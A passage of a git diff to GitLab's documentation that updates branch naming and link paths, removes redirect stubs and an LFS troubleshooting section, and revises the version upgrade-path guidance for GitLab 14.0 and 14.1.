([Auto Browser Performance Testing](stages.md#auto-browser-performance-testing)). **(PREMIUM)**
-- **Cleanup** - Pipelines on `master` include this stage with a `stop_dast_environment` job.
+- **Cleanup** - Pipelines on the default branch include this stage with a `stop_dast_environment` job.
After running a pipeline, you should view your deployed website and learn how
to monitor it.
@@ -267,7 +267,7 @@ you should next create a feature branch to add content to your application:
After submitting the merge request, GitLab runs your pipeline, and all the jobs
in it, as [described previously](#deploy-the-application), in addition to
-a few more that run only on branches other than `master`.
+a few more that run only on branches other than the default branch.
![Merge request](img/guide_merge_request_v12_3.png)
@@ -303,7 +303,7 @@ the **View app** **{external-link}** button to see your changes deployed.
![Review app](img/guide_merge_request_review_app_v12_3.png)
-After merging the merge request, GitLab runs the pipeline on the `master` branch,
+After merging the merge request, GitLab runs the pipeline on the default branch,
and then deploys the application to production.
## Conclusion
@@ -314,7 +314,7 @@ all in GitLab. Despite its automatic nature, Auto DevOps can also be configured
and customized to fit your workflow. Here are some helpful resources for further reading:
1. [Auto DevOps](index.md)
-1. [Multiple Kubernetes clusters](index.md#using-multiple-kubernetes-clusters)
+1. [Multiple Kubernetes clusters](index.md#use-multiple-kubernetes-clusters)
1. [Incremental rollout to production](customize.md#incremental-rollout-to-production) **(PREMIUM)**
1. [Disable jobs you don't need with CI/CD variables](customize.md#cicd-variables)
1. [Use your own buildpacks to build your application](customize.md#custom-buildpacks)
diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md
index 7e59ecb4916..9c330aede17 100644
--- a/doc/topics/autodevops/requirements.md
+++ b/doc/topics/autodevops/requirements.md
@@ -62,7 +62,7 @@ To make full use of Auto DevOps with Kubernetes, you need:
The runners don't need to be installed in the Kubernetes cluster, but the
Kubernetes executor is easy to use and automatically autoscales.
You can configure Docker-based runners to autoscale as well, using
- [Docker Machine](https://docs.gitlab.com/runner/install/autoscaling.html).
+ [Docker Machine](https://docs.gitlab.com/runner/executors/docker_machine.html).
Runners should be registered as [shared runners](../../ci/runners/runners_scope.md#shared-runners)
for the entire GitLab instance, or [specific runners](../../ci/runners/runners_scope.md#specific-runners)
@@ -125,7 +125,7 @@ only the deployment to Kubernetes runs.
WARNING:
Setting the `AUTO_DEVOPS_PLATFORM_TARGET` variable to `ECS` triggers jobs
defined in the [`Jobs/Deploy/ECS.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml).
-However, it's not recommended to [include](../../ci/yaml/README.md#includetemplate)
+However, it's not recommended to [include](../../ci/yaml/index.md#includetemplate)
it on its own. This template is designed to be used with Auto DevOps only. It may change
unexpectedly causing your pipeline to fail if included on its own. Also, the job
names within this template may also change. Do not override these jobs' names in your
diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md
index d3f217d3749..f689183d556 100644
--- a/doc/topics/autodevops/stages.md
+++ b/doc/topics/autodevops/stages.md
@@ -250,7 +250,7 @@ such as after merging a merge request, the Review App is also deleted.
Review apps are deployed using the
[auto-deploy-app](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) chart with
Helm, which you can [customize](customize.md#custom-helm-chart). The application deploys
-into the [Kubernetes namespace](../../user/project/clusters/index.md#deployment-variables)
+into the [Kubernetes namespace](../../user/project/clusters/deploy_to_cluster.md#deployment-variables)
for the environment.
In GitLab 11.4 and later, [local Tiller](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22036) is
@@ -350,8 +350,7 @@ Any load performance test result differences between the source and target branc
Auto Deploy is an optional step for Auto DevOps. If the [requirements](requirements.md) are not met, the job is skipped.
-After a branch or merge request is merged into the project's default branch (usually
-`master`), Auto Deploy deploys the application to a `production` environment in
+After a branch or merge request is merged into the project's default branch, Auto Deploy deploys the application to a `production` environment in
the Kubernetes cluster, with a namespace based on the project name and unique
project ID, such as `project-4321`.
@@ -367,7 +366,7 @@ commands. This is an easy way to
Helm uses the [auto-deploy-app](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app)
chart to deploy the application into the
-[Kubernetes namespace](../../user/project/clusters/index.md#deployment-variables)
+[Kubernetes namespace](../../user/project/clusters/deploy_to_cluster.md#deployment-variables)
for the environment.
In GitLab 11.4 and later, a
@@ -542,7 +541,7 @@ You must use a Kubernetes network plugin that implements support for
`NetworkPolicy`. The default network plugin for Kubernetes (`kubenet`)
[does not implement](https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/#kubenet)
support for it. The [Cilium](https://cilium.io/) network plugin can be
-installed as a [cluster application](../../user/clusters/applications.md#install-cilium-using-gitlab-cicd)
+installed as a [cluster application](../../user/project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium)
to enable support for network policies.
You can enable deployment of a network policy by setting the following
@@ -578,7 +577,7 @@ networkPolicy:
```
For more information on installing Network Policies, see
-[Install Cilium using GitLab CI/CD](../../user/clusters/applications.md#install-cilium-using-gitlab-cicd).
+[Use the Cluster Management Template to Install Cilium](../../user/project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium).
### Cilium Network Policy
@@ -597,7 +596,7 @@ As the default network plugin for Kubernetes (`kubenet`)
support for it, you must have [Cilium](https://docs.cilium.io/en/v1.8/intro/) as your Kubernetes network plugin.
The [Cilium](https://cilium.io/) network plugin can be
-installed as a [cluster application](../../user/clusters/applications.md#install-cilium-using-gitlab-cicd)
+installed with a [cluster management project template](../../user/project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium)
to enable support for network policies.
#### Configuration
@@ -644,11 +643,10 @@ ciliumNetworkPolicy:
enabled: true
alerts:
enabled: true
-
```
For more information on installing Network Policies, see
-[Install Cilium using GitLab CI/CD](../../user/clusters/applications.md#install-cilium-using-gitlab-cicd).
+[Use the Cluster Management Template to Install Cilium](../../user/project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium).
### Running commands in the container
diff --git a/doc/topics/autodevops/troubleshooting.md b/doc/topics/autodevops/troubleshooting.md
index cf2a2133fa3..cee4ba68b49 100644
--- a/doc/topics/autodevops/troubleshooting.md
+++ b/doc/topics/autodevops/troubleshooting.md
@@ -49,7 +49,7 @@ To fix this issue, you must either:
Auto Deploy fails if GitLab can't create a Kubernetes namespace and
service account for your project. For help debugging this issue, see
-[Troubleshooting failed deployment jobs](../../user/project/clusters/index.md#troubleshooting).
+[Troubleshooting failed deployment jobs](../../user/project/clusters/deploy_to_cluster.md#troubleshooting).
## Detected an existing PostgreSQL database
diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
index 48d37e5125c..4cf699ce25a 100644
--- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
+++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
@@ -1,6 +1,6 @@
---
-stage: Release
-group: Release
+stage: Configure
+group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -31,11 +31,11 @@ are using. First verify which template is in use:
- [The GitLab.com stable Auto Deploy template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml)
is being used if **one** of the following is true:
- Your Auto DevOps project doesn't have a `.gitlab-ci.yml` file.
- - Your Auto DevOps project has a `.gitlab-ci.yml` and [includes](../../ci/yaml/README.md#includetemplate)
+ - Your Auto DevOps project has a `.gitlab-ci.yml` and [includes](../../ci/yaml/index.md#includetemplate)
the `Auto-DevOps.gitlab-ci.yml` template.
- [The latest Auto Deploy template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.latest.gitlab-ci.yml)
is being used if **both** of the following is true:
- - Your Auto DevOps project has a `.gitlab-ci.yml` file and [includes](../../ci/yaml/README.md#includetemplate)
+ - Your Auto DevOps project has a `.gitlab-ci.yml` file and [includes](../../ci/yaml/index.md#includetemplate)
the `Auto-DevOps.gitlab-ci.yml` template.
- It also includes [the latest Auto Deploy template](#early-adopters)
diff --git a/doc/topics/autodevops/upgrading_postgresql.md b/doc/topics/autodevops/upgrading_postgresql.md
index 35b9d2e055c..c03c4171d6d 100644
--- a/doc/topics/autodevops/upgrading_postgresql.md
+++ b/doc/topics/autodevops/upgrading_postgresql.md
@@ -195,7 +195,7 @@ higher*. This is the
remove the variables, or rename the variables temporarily to
`XDB_INITIALIZE` or the `XDB_MIGRATE` to effectively disable them.
1. Run a new CI pipeline for the branch. In this case, we run a new CI
- pipeline for `master`.
+ pipeline for `main`.
1. After the pipeline is successful, your application is upgraded
with the new PostgreSQL installed. Zero replicas exist at this time, so
no traffic is served for your application (to prevent
@@ -250,5 +250,5 @@ steps to reinstate your application:
removed or disabled.
1. Restore the `PRODUCTION_REPLICAS` or `REPLICAS` variable to its original value.
1. Run a new CI pipeline for the branch. In this case, we run a new CI
- pipeline for `master`. After the pipeline is successful, your
+ pipeline for `main`. After the pipeline is successful, your
application should be serving traffic as before.
diff --git a/doc/topics/build_your_application.md b/doc/topics/build_your_application.md
index d084ecec435..150e0ec26e4 100644
--- a/doc/topics/build_your_application.md
+++ b/doc/topics/build_your_application.md
@@ -11,6 +11,6 @@ code, and use CI/CD to generate your application. Include packages in your app a
- [Repositories](../user/project/repository/index.md)
- [Merge requests](../user/project/merge_requests/index.md)
-- [CI/CD](../ci/README.md)
+- [CI/CD](../ci/index.md)
- [Packages & Registries](../user/packages/index.md)
- [Application infrastructure](../user/project/clusters/index.md)
diff --git a/doc/topics/cron/index.md b/doc/topics/cron/index.md
index 88f8bd1858f..f7a22bef07c 100644
--- a/doc/topics/cron/index.md
+++ b/doc/topics/cron/index.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Cron syntax is used to schedule when jobs should run.
You may need to use a cron syntax string to
-[trigger nightly pipelines](../../ci/triggers/README.md#using-cron-to-trigger-nightly-pipelines),
+[trigger nightly pipelines](../../ci/triggers/index.md#using-cron-to-trigger-nightly-pipelines),
create a [pipeline schedule](../../api/pipeline_schedules.md#create-a-new-pipeline-schedule),
or to prevent unintentional releases by setting a
[deploy freeze](../../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze).
@@ -52,7 +52,7 @@ terminal.
# Run at 7:00pm every day:
0 19 * * *
-# Run every minute on the 10th of June:
+# Run every minute on the 3rd of June:
* * 3 6 *
# Run at 06:30 every Friday:
diff --git a/doc/topics/git/how_to_install_git/index.md b/doc/topics/git/how_to_install_git/index.md
index 8b097c4c1da..fc9c0e0ec63 100644
--- a/doc/topics/git/how_to_install_git/index.md
+++ b/doc/topics/git/how_to_install_git/index.md
@@ -62,7 +62,7 @@ To verify that Git works on your system, run:
git --version
```
-Next, read our article on [adding an SSH key to GitLab](../../../ssh/README.md).
+Next, read our article on [adding an SSH key to GitLab](../../../ssh/index.md).
## Install Git on Ubuntu Linux
@@ -86,13 +86,13 @@ To verify that Git works on your system, run:
git --version
```
-Next, read our article on [adding an SSH key to GitLab](../../../ssh/README.md).
+Next, read our article on [adding an SSH key to GitLab](../../../ssh/index.md).
## Installing Git on Windows from the Git website
Open the [Git website](https://git-scm.com/) and download and install Git for Windows.
-Next, read our article on [adding an SSH key to GitLab](../../../ssh/README.md).
+Next, read our article on [adding an SSH key to GitLab](../../../ssh/index.md).
<!-- ## Troubleshooting
diff --git a/doc/topics/git/index.md b/doc/topics/git/index.md
index 21775044301..c1e766a7c48 100644
--- a/doc/topics/git/index.md
+++ b/doc/topics/git/index.md
@@ -14,7 +14,7 @@ large projects with speed and efficiency.
[GitLab](https://about.gitlab.com) is a Git-based fully integrated platform for
software development. Besides Git's functionalities, GitLab has a lot of
powerful [features](https://about.gitlab.com/features/) to enhance your
-[workflow](https://about.gitlab.com/topics/version-control/what-is-gitlab-workflow/).
+[workflow](https://about.gitlab.com/topics/version-control/what-is-gitlab-flow/).
We've gathered some resources to help you to get the best from Git with GitLab.
diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md
index dfb175cbb82..32039548475 100644
--- a/doc/topics/git/lfs/index.md
+++ b/doc/topics/git/lfs/index.md
@@ -275,46 +275,3 @@ You might choose to do this if you are using an appliance like a <!-- vale gitla
GitLab can't verify LFS objects. Pushes then fail if you have GitLab LFS support enabled.
To stop push failure, LFS support can be disabled in the [Project settings](../../../user/project/settings/index.md), which also disables GitLab LFS value-adds (Verifying LFS objects, UI integration for LFS).
-
-### Missing LFS objects
-
-An error about a missing LFS object may occur in either of these situations:
-
-- When migrating LFS objects from disk to object storage, with error messages like:
-
- ```plaintext
- ERROR -- : Failed to transfer LFS object
- 006622269c61b41bf14a22bbe0e43be3acf86a4a446afb4250c3794ea47541a7
- with error: No such file or directory @ rb_sysopen -
- /var/opt/gitlab/gitlab-rails/shared/lfs-objects/00/66/22269c61b41bf14a22bbe0e43be3acf86a4a446afb4250c3794ea47541a7
- ```
-
- (Line breaks have been added for legibility.)
-
-- When running the
- [integrity check for LFS objects](../../../administration/raketasks/check.md#uploaded-files-integrity)
- with the `VERBOSE=1` parameter.
-
-The database can have records for LFS objects which are not on disk. The database entry may
-[prevent a new copy of the object being pushed](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49241).
-To delete these references:
-
-1. [Start a rails console](../../../administration/operations/rails_console.md).
-1. Query the object that's reported as missing in the rails console, to return a file path:
-
- ```ruby
- lfs_object = LfsObject.find_by(oid: '006622269c61b41bf14a22bbe0e43be3acf86a4a446afb4250c3794ea47541a7')
- lfs_object.file.path
- ```
-
-1. Check on disk if it exists:
-
- ```shell
- ls -al /var/opt/gitlab/gitlab-rails/shared/lfs-objects/00/66/22269c61b41bf14a22bbe0e43be3acf86a4a446afb4250c3794ea47541a7
- ```
-
-1. If the file is not present, remove the database record via the rails console:
-
- ```ruby
- lfs_object.destroy
- ```
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png b/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png
index c1a67e0b566..299a72ee24f 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/img/rebase_reset.png
Binary files differ
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png b/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png
index 0732a73278b..d31fa0ceb88 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/img/revert.png
Binary files differ
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
index 6de62897041..4d58c7ab455 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
@@ -249,7 +249,7 @@ commits `A-B-C-D` and you want to modify something introduced in commit `B`.
```
A list of commits is displayed in your editor.
-
+
1. In front of commit `B`, replace `pick` with `edit`.
1. Leave the default, `pick`, for all other commits.
1. Save and exit the editor.
diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md
index 8db683f6291..cc2631c9445 100644
--- a/doc/topics/git/troubleshooting_git.md
+++ b/doc/topics/git/troubleshooting_git.md
@@ -45,7 +45,7 @@ set to 50MB. The default is 1MB.
**If pushing over SSH**, first check your SSH configuration as 'Broken pipe'
errors can sometimes be caused by underlying issues with SSH (such as
authentication). Make sure that SSH is correctly configured by following the
-instructions in the [SSH troubleshooting](../../ssh/README.md#troubleshooting-ssh-connections) documentation.
+instructions in the [SSH troubleshooting](../../ssh/index.md#troubleshooting-ssh-connections) documentation.
If you're a GitLab administrator with server access, you can also prevent
session timeouts by configuring SSH `keep-alive` on the client or the server.
diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md
index df5029bb0d1..d9aff6c35e5 100644
--- a/doc/topics/gitlab_flow.md
+++ b/doc/topics/gitlab_flow.md
@@ -152,7 +152,7 @@ After the assigned person feels comfortable with the result, they can merge the
If the assigned person does not feel comfortable, they can request more changes or close the merge request without merging.
In GitLab, it is common to protect the long-lived branches, such as the `main` branch, so [most developers can't modify them](../user/permissions.md).
-So, if you want to merge into a protected branch, assign your merge request to someone with the
+So, if you want to merge into a protected branch, assign your merge request to someone with the
[Maintainer role](../user/permissions.md).
After you merge a feature branch, you should remove it from the source control software.
diff --git a/doc/topics/index.md b/doc/topics/index.md
index 565b436c0b0..fde420c64f6 100644
--- a/doc/topics/index.md
+++ b/doc/topics/index.md
@@ -15,7 +15,7 @@ tutorials, technical overviews, blog posts) and videos.
- [Auto DevOps](autodevops/index.md)
- [Authentication](authentication/index.md)
-- [Continuous Integration (GitLab CI/CD)](../ci/README.md)
+- [Continuous Integration (GitLab CI/CD)](../ci/index.md)
- [Cron](cron/index.md)
- [Git](git/index.md)
- [GitLab Flow](gitlab_flow.md)
diff --git a/doc/topics/set_up_organization.md b/doc/topics/set_up_organization.md
index d8b1ab59b9e..3758435d297 100644
--- a/doc/topics/set_up_organization.md
+++ b/doc/topics/set_up_organization.md
@@ -1,6 +1,6 @@
---
-stage:
-group:
+stage:
+group:
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -10,7 +10,8 @@ Configure your organization and its users. Determine user roles
and give everyone access to the projects they need.
- [Members](../user/project/members/index.md)
+- [Workspace](../user/workspace/index.md) _(Coming soon)_
- [Groups](../user/group/index.md)
- [User account options](../user/profile/index.md)
-- [SSH keys](../ssh/README.md)
+- [SSH keys](../ssh/index.md)
- [GitLab.com settings](../user/gitlab_com/index.md)
diff --git a/doc/university/README.md b/doc/university/README.md
deleted file mode 100644
index 573daab2333..00000000000
--- a/doc/university/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../topics/index.md'
-remove_date: '2021-05-11'
----
-
-This document was moved to [another location](../topics/index.md).
-
-<!-- This redirect file can be deleted after 2021-05-11. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/university/training/gitlab_flow.md b/doc/university/training/gitlab_flow.md
deleted file mode 100644
index d38e39fcfe2..00000000000
--- a/doc/university/training/gitlab_flow.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../../topics/gitlab_flow.md'
-remove_date: '2021-05-16'
----
-
-This document was moved to [another location](../../topics/gitlab_flow.md).
-
-<!-- This redirect file can be deleted after <2021-05-16>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/university/training/topics/cherry_picking.md b/doc/university/training/topics/cherry_picking.md
deleted file mode 100644
index 3e278b2c199..00000000000
--- a/doc/university/training/topics/cherry_picking.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../../../topics/git/cherry_picking.md'
-remove_date: '2021-06-01'
----
-
-This document was moved to [another location](../../../topics/git/cherry_picking.md).
-
-<!-- This redirect file can be deleted after <2021-06-01>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/university/training/topics/tags.md b/doc/university/training/topics/tags.md
deleted file mode 100644
index 53250e3540a..00000000000
--- a/doc/university/training/topics/tags.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../../../topics/git/tags.md'
-remove_date: '2021-06-01'
----
-
-This document was moved to [another location](../../../topics/git/tags.md).
-
-<!-- This redirect file can be deleted after <2021-06-01>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/update/README.md b/doc/update/README.md
deleted file mode 100644
index 488d86f129d..00000000000
--- a/doc/update/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-11'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-11. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/update/index.md b/doc/update/index.md
index 2ac22631289..7875510167e 100644
--- a/doc/update/index.md
+++ b/doc/update/index.md
@@ -109,7 +109,9 @@ Sidekiq::ScheduledSet.new.select { |r| r.klass == 'BackgroundMigrationWorker' }.
### Batched background migrations
-See the documentation on [batched background migrations](../user/admin_area/monitoring/background_migrations.md).
+Batched background migrations need to finish before you update to a newer version.
+
+Read more about [batched background migrations](../user/admin_area/monitoring/background_migrations.md).
### What do I do if my background migrations are stuck?
@@ -186,44 +188,44 @@ migration](../integration/elasticsearch.md#retry-a-halted-migration).
## Upgrade paths
-You can generally upgrade through multiple GitLab versions in one go,
-although this is discouraged for [zero downtime upgrades](#upgrading-without-downtime) and
-sometimes this can cause issues.
+Upgrading across multiple GitLab versions in one go is *only possible with downtime*.
+The following examples assume a downtime upgrade.
+See the section below for [zero downtime upgrades](#upgrading-without-downtime).
Find where your version sits in the upgrade path below, and upgrade GitLab
accordingly, while also consulting the
[version-specific upgrade instructions](#version-specific-upgrading-instructions):
-`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> [latest `13.12.Z`](https://about.gitlab.com/releases/categories/releases/) -> [latest `14.0.Z`](https://about.gitlab.com/releases/categories/releases/)
+`8.11.Z` -> [`8.12.0`](#upgrades-from-versions-earlier-than-812) -> `8.17.7` -> `9.5.10` -> `10.8.7` -> [`11.11.8`](#1200) -> `12.0.12` -> [`12.1.17`](#1210) -> `12.10.14` -> `13.0.14` -> [`13.1.11`](#1310) -> [latest `13.12.Z`](https://about.gitlab.com/releases/categories/releases/) -> [latest `14.0.Z`](#1400) -> [`14.1.Z`](#1410) -> [latest `14.Y.Z`](https://about.gitlab.com/releases/categories/releases/)
The following table, while not exhaustive, shows some examples of the supported
upgrade paths.
| Target version | Your version | Supported upgrade path | Note |
| --------------------- | ------------ | ------------------------ | ---- |
-| `13.5.4` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.5.4` | Three intermediate versions are required: the final `12.10` release, plus `13.0` and `13.1`. |
-| `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.2.10` | Six intermediate versions are required: the final `11.11`, `12.0`, `12.1`, `12.10`, `13.0` releases, plus `13.1`. |
-| `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: the final `11.11` and `12.0` releases, plus `12.1` |
-| `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Four intermediate versions are required: `10.8`, `11.11`, `12.0` and `12.1`, then `12.9.5` |
-| `12.2.5` | `9.2.6` | `9.2.6` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.2.5` | Five intermediate versions are required: `9.5`, `10.8`, `11.11`, `12.0`, `12.1`, then `12.2`. |
+| `14.1.0` | `13.9.2` | `13.9.2` -> `13.12.6` -> `14.0.5` -> `14.1.0` | Two intermediate versions are required: `13.12` and `14.0`, then `14.1`. |
+| `13.5.4` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.5.4` | Three intermediate versions are required: `12.10`, `13.0` and `13.1`, then `13.5.4`. |
+| `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.2.10` | Six intermediate versions are required: `11.11`, `12.0`, `12.1`, `12.10`, `13.0` and `13.1`, then `13.2.10`. |
+| `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: `11.11`, `12.0` and `12.1`, then `12.10.14`. |
+| `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Four intermediate versions are required: `10.8`, `11.11`, `12.0` and `12.1`, then `12.9.5`. |
+| `12.2.5` | `9.2.6` | `9.2.6` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.2.5` | Five intermediate versions are required: `9.5`, `10.8`, `11.11`, `12.0`, `12.1`, then `12.2.5`. |
| `11.3.4` | `8.13.4` | `8.13.4` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.3.4` | `8.17.7` is the last version in version 8, `9.5.10` is the last version in version 9, `10.8.7` is the last version in version 10. |
## Upgrading to a new major version
Upgrading the *major* version requires more attention.
Backward-incompatible changes and migrations are reserved for major versions.
-We cannot guarantee that upgrading between major versions will be seamless.
-It is suggested to upgrade to the latest available *minor* version within
-your major version before proceeding to the next major version.
-Doing this addresses any backward-incompatible changes or deprecations
-to help ensure a successful upgrade to the next major release.
-Identify a [supported upgrade path](#upgrade-paths).
+Follow the directions carefully as we
+cannot guarantee that upgrading between major versions will be seamless.
-More significant migrations may occur during major release upgrades. To ensure these are successful:
+It is required to follow the following upgrade steps to ensure a successful *major* version upgrade:
-1. Increment to the first minor version (`X.0.Z`) during the major version jump.
+1. Upgrade to the latest minor version of the preceeding major version.
+1. Upgrade to the first minor version (`X.0.Z`) of the target major version.
1. Proceed with upgrading to a newer release.
+Identify a [supported upgrade path](#upgrade-paths).
+
It's also important to ensure that any background migrations have been fully completed
before upgrading to a new major version. To see the current size of the `background_migration` queue,
[Check for background migrations before upgrading](#checking-for-background-migrations-before-upgrading).
@@ -369,15 +371,54 @@ NOTE:
Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/)
and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches.
+### 14.1.0
+
+- Due to an issue where `BatchedBackgroundMigrationWorkers` were
+ [not working](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/2785#note_614738345)
+ for self-managed instances, a [fix was created](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65106)
+ and a [14.0.Z](#1400) version was released. If you haven't udpated to 14.0.Z, you need
+ to update to at least 14.1.0 that contains the same fix before you update to
+ a later version.
+
+ After you update to 14.1.0,
+ [batched background migrations need to finish](../user/admin_area/monitoring/background_migrations.md#check-the-status-of-background-migrations)
+ before you update to a later version.
+
+ If the migrations are not finished and you try to update to a later version,
+ you'll see an error like:
+
+ ```plaintext
+ Expected batched background migration for the given configuration to be marked as 'finished', but it is 'active':
+ ```
+
+ See how to [resolve this error](../user/admin_area/monitoring/background_migrations.md#database-migrations-failing-because-of-batched-background-migration-not-finished).
+
### 14.0.0
-In GitLab 13.3 some [pipeline processing methods were deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/218536)
-and this code was completely removed in GitLab 14.0. If you plan to upgrade from
-**GitLab 13.2 or older** directly to 14.0, you should not have any pipelines running
-when you upgrade. The pipelines might report the wrong status when the upgrade completes.
-You should shut down GitLab and wait for all pipelines on runners to complete, then upgrade
-GitLab to 14.0. Alternatively, you can first upgrade GitLab to a version between 13.3 and
-13.12, then upgrade to 14.0.
+- Due to an issue where `BatchedBackgroundMigrationWorkers` were
+ [not working](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/2785#note_614738345)
+ for self-managed instances, a [fix was created](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65106)
+ that requires an update to at least 14.0.5.
+
+ After you update to 14.0.5 or a later 14.0 patch version,
+ [batched background migrations need to finish](../user/admin_area/monitoring/background_migrations.md#check-the-status-of-background-migrations)
+ before you update to a later version.
+
+ If the migrations are not finished and you try to update to a later version,
+ you'll see an error like:
+
+ ```plaintext
+ Expected batched background migration for the given configuration to be marked as 'finished', but it is 'active':
+ ```
+
+ See how to [resolve this error](../user/admin_area/monitoring/background_migrations.md#database-migrations-failing-because-of-batched-background-migration-not-finished).
+
+- In GitLab 13.3 some [pipeline processing methods were deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/218536)
+ and this code was completely removed in GitLab 14.0. If you plan to upgrade from
+ **GitLab 13.2 or older** directly to 14.0 ([unsupported](#upgrading-to-a-new-major-version)), you should not have any pipelines running
+ when you upgrade or the pipelines might report the wrong status when the upgrade completes.
+ You should instead follow a [supported upgrade path](#upgrade-paths).
+- The support of PostgreSQL 11 [has been dropped](../install/requirements.md#database). Make sure to [update your database](https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server) to version 12 before updating to GitLab 14.0.
### 13.11.0
@@ -387,9 +428,8 @@ Git 2.31.x and later is required. We recommend you use the
### 13.9.0
We've detected an issue [with a column rename](https://gitlab.com/gitlab-org/gitlab/-/issues/324160)
-that may prevent upgrades to GitLab 13.9.0, 13.9.1, 13.9.2 and 13.9.3.
-We are working on a patch, but until a fixed version is released, you can manually complete
-the zero-downtime upgrade:
+that will prevent upgrades to GitLab 13.9.0, 13.9.1, 13.9.2 and 13.9.3 when following the zero-downtime steps. It is necessary
+to perform the following additional steps for the zero-downtime upgrade:
